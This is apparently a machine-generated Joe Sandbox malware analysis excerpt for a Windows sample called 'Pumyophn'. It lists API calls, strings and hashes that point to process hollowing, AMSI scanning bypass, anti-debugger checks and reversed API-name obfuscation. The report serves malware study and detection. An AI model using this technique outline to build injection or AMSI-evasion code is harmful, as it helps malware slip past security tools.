call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c SetThreadContext NtResumeThread call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2ca2c2c call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb8798 * 3 call 2ca480c call 2ca494c call 2ca46a4 call 2ca4798 call 2ca494c call 2ca46a4 call 2cb881c call 2cb8798 * 2 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 * 5 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2ca480c call 2ca494c call 2ca4798 call 2ca494c call 2cb8798 call 2cb7ecc call 2cb8798 * 2 8154->8205 8206 2cb9ca9-2cb9cf6 call 2cb89b0 call 2cb89a4 8154->8206 8205->7687 8206->8205
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CB8903), ref: 02CB8860
                                                                                                                                                                        • Part of subcall function 02CB881C: GetProcAddress.KERNEL32(02D01384,00000000), ref: 02CB8879
                                                                                                                                                                        • Part of subcall function 02CB881C: FreeLibrary.KERNEL32(02D01384,00000000,02D01388,Function_000055D8,00000004,02D01398,02D01388,000186A3,00000040,02D0139C,02D01384,00000000,00000000,00000000,00000000,02CB8903), ref: 02CB88E3
                                                                                                                                                                        • Part of subcall function 02CB85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CB8660
                                                                                                                                                                      • GetThreadContext.KERNEL32(02D013D0,02D01420,ScanString,02D013A4,02CBA774,UacInitialize,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,UacInitialize,02D013A4), ref: 02CB943A
                                                                                                                                                                        • Part of subcall function 02CB824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB82BD
                                                                                                                                                                        • Part of subcall function 02CB84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02CB8521
                                                                                                                                                                        • Part of subcall function 02CB79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A1F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MemoryVirtual$AddressAllocateContextCreateFreeHandleLibraryModuleProcProcessReadSectionThreadUnmapUserView
                                                                                                                                                                      • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                                      • API String ID: 1291004003-51457883
                                                                                                                                                                      • Opcode ID: 0ff13228e9e2792e90bbddd006e9b686dc7be0bbc1fbf139b6af7cdc65b87ae9
                                                                                                                                                                      • Instruction ID: 5d39d8dd05e76cf5649b2d7c7aba343d8ebb1dad9459bc5517521e5697ea4d48
                                                                                                                                                                      • Opcode Fuzzy Hash: 0ff13228e9e2792e90bbddd006e9b686dc7be0bbc1fbf139b6af7cdc65b87ae9
                                                                                                                                                                      • Instruction Fuzzy Hash: 7DE21C74A4015A9FDB26FBA4DCA0BDE73BABF94304F2041B1E049AB614DA70EE45DF50
                                                                                                                                                                      Function 02CA5A78 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 184registrystringlibraryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 8509 2ca5a78-2ca5ab9 GetModuleFileNameA RegOpenKeyExA 8510 2ca5afb-2ca5b3e call 2ca58b4 RegQueryValueExA 8509->8510 8511 2ca5abb-2ca5ad7 RegOpenKeyExA 8509->8511 8518 2ca5b62-2ca5b7c RegCloseKey 8510->8518 8519 2ca5b40-2ca5b5c RegQueryValueExA 8510->8519 8511->8510 8512 2ca5ad9-2ca5af5 RegOpenKeyExA 8511->8512 8512->8510 8514 2ca5b84-2ca5bb5 lstrcpyn GetThreadLocale GetLocaleInfoA 8512->8514 8516 2ca5bbb-2ca5bbf 8514->8516 8517 2ca5c9e-2ca5ca5 8514->8517 8520 2ca5bcb-2ca5be1 lstrlen 8516->8520 8521 2ca5bc1-2ca5bc5 8516->8521 8519->8518 8522 2ca5b5e 8519->8522 8523 2ca5be4-2ca5be7 8520->8523 8521->8517 8521->8520 8522->8518 8524 2ca5be9-2ca5bf1 8523->8524 8525 2ca5bf3-2ca5bfb 8523->8525 8524->8525 8526 2ca5be3 8524->8526 8525->8517 8527 2ca5c01-2ca5c06 8525->8527 8526->8523 8528 2ca5c08-2ca5c2e lstrcpyn LoadLibraryExA 8527->8528 8529 2ca5c30-2ca5c32 8527->8529 8528->8529 8529->8517 8530 2ca5c34-2ca5c38 8529->8530 8530->8517 8531 2ca5c3a-2ca5c6a lstrcpyn LoadLibraryExA 8530->8531 8531->8517 8532 2ca5c6c-2ca5c9c lstrcpyn LoadLibraryExA 8531->8532 8532->8517
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 02CA5A94
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CA5AB2
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CA5AD0
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02CA5AEE
                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,02CA5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02CA5B37
                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,02CA5CE4,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,02CA5B7D,?,80000001), ref: 02CA5B55
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,02CA5B84,00000000,00000000,00000005,00000000,02CA5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02CA5B77
                                                                                                                                                                      • lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02CA5B94
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 02CA5BA1
                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 02CA5BA7
                                                                                                                                                                      • lstrlen.KERNEL32(00000000), ref: 02CA5BD2
                                                                                                                                                                      • lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02CA5C19
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C29
                                                                                                                                                                      • lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02CA5C51
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C61
                                                                                                                                                                      • lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C87
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02CA5C97
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                                                                      • String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                                      • API String ID: 1759228003-3917250287
                                                                                                                                                                      • Opcode ID: 3efbe3085bef817c60ff75bd00057aec72736ca0c852fd406e889abd8b3e1fa0
                                                                                                                                                                      • Instruction ID: 5937fb6097ccb3977c3ac1620f63d0953d950ef6c84c059d88d924cb67107c1d
                                                                                                                                                                      • Opcode Fuzzy Hash: 3efbe3085bef817c60ff75bd00057aec72736ca0c852fd406e889abd8b3e1fa0
                                                                                                                                                                      • Instruction Fuzzy Hash: 4751C371E4021E7EFB21D6A49C56FEF77AD9B0878CF8441A1AA04E6180D7B4DB448FA0
                                                                                                                                                                      Function 02CB79AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A1F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$AllocateHandleMemoryModuleVirtual
                                                                                                                                                                      • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                                      • API String ID: 1888340430-445027087
                                                                                                                                                                      • Opcode ID: 7d82f851b50b82fa07d02196cc46040d521e0eab8a09eb8c21b50727018a9894
                                                                                                                                                                      • Instruction ID: 7434a8be9316a8e3a123efecbaf2498f264ecf9670c00c971bb5419fbce4d948
                                                                                                                                                                      • Opcode Fuzzy Hash: 7d82f851b50b82fa07d02196cc46040d521e0eab8a09eb8c21b50727018a9894
                                                                                                                                                                      • Instruction Fuzzy Hash: 8F115776680209AFEB11EFA4DC91FEEB7AEEF89710F414420B904D7640DA70EE149B60
                                                                                                                                                                      Function 02CB79AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A1F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$AllocateHandleMemoryModuleVirtual
                                                                                                                                                                      • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                                      • API String ID: 1888340430-445027087
                                                                                                                                                                      • Opcode ID: 9ad2761e5496f38cf2072716f2b55aaa8a9cf475e50a70e6455c43cfd679f5d4
                                                                                                                                                                      • Instruction ID: b4937ef74b545f6546cb68df8643dd7aa14771f49ff316e83132bf8861d00be8
                                                                                                                                                                      • Opcode Fuzzy Hash: 9ad2761e5496f38cf2072716f2b55aaa8a9cf475e50a70e6455c43cfd679f5d4
                                                                                                                                                                      • Instruction Fuzzy Hash: 72116976680209AFEB11EFA4DC91FDEB7AEEF89710F414420B904D7640DA70EE14DB60
                                                                                                                                                                      Function 02CB824C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB82BD
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleMemoryModuleReadVirtual
                                                                                                                                                                      • String ID: ntdll$yromeMlautriVdaeRtN
                                                                                                                                                                      • API String ID: 36784810-737317276
                                                                                                                                                                      • Opcode ID: 2d511741ee2e119bc3ea35188f09c762f7ea2a055ff8e154f9fd22ce320739a3
                                                                                                                                                                      • Instruction ID: 5cb733d1c2a166673c2334d64f6561bcf486ea76593a8499d9253d187d7e8710
                                                                                                                                                                      • Opcode Fuzzy Hash: 2d511741ee2e119bc3ea35188f09c762f7ea2a055ff8e154f9fd22ce320739a3
                                                                                                                                                                      • Instruction Fuzzy Hash: CC016579A00208AFEB11EFA8D891F9AB7EEEF88704F418820F804D7600C670ED109B64
                                                                                                                                                                      Function 02CB7CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB7D6C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleMemoryModuleVirtualWrite
                                                                                                                                                                      • String ID: Ntdll$yromeMlautriVetirW
                                                                                                                                                                      • API String ID: 1525300337-3542721025
                                                                                                                                                                      • Opcode ID: 1d17a9095a943f585665250cc09ffe4749e5d47cf9f3f17fa8ad265a8e8c28bc
                                                                                                                                                                      • Instruction ID: 58eed5a490bb753a706d33ede091985ab62af2cf5081aff8fc8c9204b30e9058
                                                                                                                                                                      • Opcode Fuzzy Hash: 1d17a9095a943f585665250cc09ffe4749e5d47cf9f3f17fa8ad265a8e8c28bc
                                                                                                                                                                      • Instruction Fuzzy Hash: 78012975640209AFEB12EFA8D891EAAB7EDEF8C750F514460B904E7690C670ED149B60
                                                                                                                                                                      Function 02CB84BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB8018: GetModuleHandleA.KERNELBASE(?), ref: 02CB806A
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CB8113
                                                                                                                                                                        • Part of subcall function 02CB80C0: GetProcAddress.KERNEL32(?,?), ref: 02CB8125
                                                                                                                                                                      • NtUnmapViewOfSection.NTDLL(?,?), ref: 02CB8521
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModuleSectionUnmapView
                                                                                                                                                                      • String ID: noitceSfOweiVpamnUtN$ntdll
                                                                                                                                                                      • API String ID: 858119152-2520021413
                                                                                                                                                                      • Opcode ID: bd1943c0b75fd1b2374fc0edffd9b4fb0cc2d78b520986b2f6146b8fa3bb77c8
                                                                                                                                                                      • Instruction ID: d79b844a9d183540f2c3b5e475b25b4c5a99e78a9a4522163512b8e5b9552613
                                                                                                                                                                      • Opcode Fuzzy Hash: bd1943c0b75fd1b2374fc0edffd9b4fb0cc2d78b520986b2f6146b8fa3bb77c8
                                                                                                                                                                      • Instruction Fuzzy Hash: 1701A274640208AFEB15EFA4D891F9EB7AEEF49714F514920F405D7650CA70ED04EF60
                                                                                                                                                                      Function 02CBDAC4 Relevance: 4.6, APIs: 3, Instructions: 80nativefileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02CBDB03
                                                                                                                                                                      • NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02CBDB6A
                                                                                                                                                                      • NtClose.NTDLL(?), ref: 02CBDB73
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Path$CloseFileNameName_Write
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1792072161-0
                                                                                                                                                                      • Opcode ID: af274b23391a989dc6e36e93a1d537a836401b3eda9da469658c21d1aa61ebaa
                                                                                                                                                                      • Instruction ID: aab70fc1aaeee13cff684a462bc44ab0d42cf988cff267f68fdafec82773eb7f
                                                                                                                                                                      • Opcode Fuzzy Hash: af274b23391a989dc6e36e93a1d537a836401b3eda9da469658c21d1aa61ebaa
                                                                                                                                                                      • Instruction Fuzzy Hash: 1721ED71E40349BAEB25EAE4CC52FDEB7BDAF04B04F604161B605F71C0D7B46A04DAA5
                                                                                                                                                                      Function 02CBD9E8 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RtlInitUnicodeString.NTDLL ref: 02CBDA64
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02CBDA7A
                                                                                                                                                                      • NtDeleteFile.NTDLL(?), ref: 02CBDA99
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Path$DeleteFileInitNameName_StringUnicode
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1459852867-0
                                                                                                                                                                      • Opcode ID: 2ec7d2ec1044f0e515f9329b8ba5a4dca3a1cf8dfdd29ffe7591e76a533073fb
                                                                                                                                                                      • Instruction ID: a18dc04a5b5bb57e9cd2024241c0505b80db5179b5f01b98dec46f1ae094f3ea
                                                                                                                                                                      • Opcode Fuzzy Hash: 2ec7d2ec1044f0e515f9329b8ba5a4dca3a1cf8dfdd29ffe7591e76a533073fb
                                                                                                                                                                      • Instruction Fuzzy Hash: E1016275988349AEEF06E7E0C951BCD7BBDAF46704F5040A2E212E6082DA74AB05DB21
                                                                                                                                                                      Function 02CBDA3C Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RtlInitUnicodeString.NTDLL ref: 02CBDA64
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02CBDA7A
                                                                                                                                                                      • NtDeleteFile.NTDLL(?), ref: 02CBDA99
                                                                                                                                                                        • Part of subcall function 02CA4C0C: SysFreeString.OLEAUT32(?), ref: 02CA4C1A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: PathString$DeleteFileFreeInitNameName_Unicode
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2256775434-0
                                                                                                                                                                      • Opcode ID: b84e0480f9b81f8633737735ffe3b969bf14547bea89f5b9705228205975be67
                                                                                                                                                                      • Instruction ID: f0c7f622fa203f4797a6e17aebc460b086c1e1baedf4fb225b4f21acf0b0f91d
                                                                                                                                                                      • Opcode Fuzzy Hash: b84e0480f9b81f8633737735ffe3b969bf14547bea89f5b9705228205975be67
                                                                                                                                                                      • Instruction Fuzzy Hash: 91014475944309BADB15EBE0CC51FCEB7BDEF49700F504471E505E2180EB746B049A60
                                                                                                                                                                      Function 02CBDBA8 Relevance: 3.1, APIs: 2, Instructions: 80nativeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02CBDBE3
                                                                                                                                                                      • NtClose.NTDLL(?), ref: 02CBDC5D
                                                                                                                                                                        • Part of subcall function 02CA4C0C: SysFreeString.OLEAUT32(?), ref: 02CA4C1A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000004.00000002.1839275438.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_4_2_2ca1000_Pumyophn.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Path$CloseFreeNameName_String
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 11680810-0
                                                                                                                                                                      • Opcode ID: a18e9af5566c1ce4ebc9f61046bf3c6621f59026c749458510a6b1afa78a25ba
                                                                                                                                                                      • Instruction ID: f57e5b906e25c533f89dc9f6a1f03c88bb0cffb5226e39058f1fbcb9829fd885
                                                                                                                                                                      • Opcode Fuzzy Hash: a18e9af5566c1ce4ebc9f61046bf3c6621f59026c749458510a6b1afa78a25ba
                                                                                                                                                                      • Instruction Fuzzy Hash: 49210371A40309BAEB15EAE4CC56FDEB7BDAF08704F500561B601F71C0D6B4AA059B95
                                                                                                                                                                      Function 02CBEC6C Relevance: 236.3, APIs: 9, Strings: 120, Instructions: 10535filesleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CB881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CB8903), ref: 02CB8860
                                                                                                                                                                        • Part of subcall function 02CB881C: GetProcAddress.KERNEL32(02D01384,00000000), ref: 02CB8879
                                                                                                                                                                        • Part of subcall function 02CB881C: FreeLibrary.KERNEL32(02D01384,00000000,02D01388,Function_000055D8,00000004,02D01398,02D01388,000186A3,00000040,02D0139C,02D01384,00000000,00000000,00000000,00000000,02CB8903), ref: 02CB88E3
                                                                                                                                                                        • Part of subcall function 02CBEB8C: GetModuleHandleW.KERNEL32(KernelBase,?,02CBEF90,UacInitialize,02CFCF00,02CCAFD0,UacScan,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,ScanString), ref: 02CBEB92
                                                                                                                                                                        • Part of subcall function 02CBEB8C: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02CBEBA4
                                                                                                                                                                        • Part of subcall function 02CBEBE8: GetModuleHandleW.KERNEL32(KernelBase), ref: 02CBEBF8
                                                                                                                                                                        • Part of subcall function 02CBEBE8: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02CBEC0A
                                                                                                                                                                        • Part of subcall function 02CBEBE8: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02CBEC21
                                                                                                                                                                        • Part of subcall function 02CAC2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02DF58C8,?,02CBFBF6,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession), ref: 02CAC2FB
                                                                                                                                                                        • Part of subcall function 02CBDBA8: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02CBDBE3
                                                                                                                                                                        • Part of subcall function 02CBDBA8: NtClose.NTDLL(?), ref: 02CBDC5D
                                                                                                                                                                        • Part of subcall function 02CA7E34: GetFileAttributesA.KERNEL32(00000000,?,02CC2A41,ScanString,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,Initialize), ref: 02CA7E3F
                                                                                                                                                                        • Part of subcall function 02CBDAC4: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02CBDB03
                                                                                                                                                                        • Part of subcall function 02CBDAC4: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02CBDB6A
                                                                                                                                                                        • Part of subcall function 02CBDAC4: NtClose.NTDLL(?), ref: 02CBDB73
                                                                                                                                                                        • Part of subcall function 02CB8798: LoadLibraryW.KERNEL32(?,?), ref: 02CB87AC
                                                                                                                                                                        • Part of subcall function 02CB8798: GetProcAddress.KERNEL32(02D01390,BCryptVerifySignature), ref: 02CB87C6
                                                                                                                                                                        • Part of subcall function 02CB8798: FreeLibrary.KERNEL32(02D01390,02D01390,BCryptVerifySignature,bcrypt,?,02D013D0,00000000,02D013A4,02CBA3BF,ScanString,02D013A4,02CBA774,ScanBuffer,02D013A4,02CBA774,Initialize), ref: 02CB8802
                                                                                                                                                                        • Part of subcall function 02CB8704: LoadLibraryW.KERNEL32(amsi), ref: 02CB870D
                                                                                                                                                                        • Part of subcall function 02CB8704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02CB876C
                                                                                                                                                                      • Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,ScanBuffer,02CFCF00,02CCAFD0,OpenSession,02CFCF00,02CCAFD0,02CCB328), ref: 02CC49AF
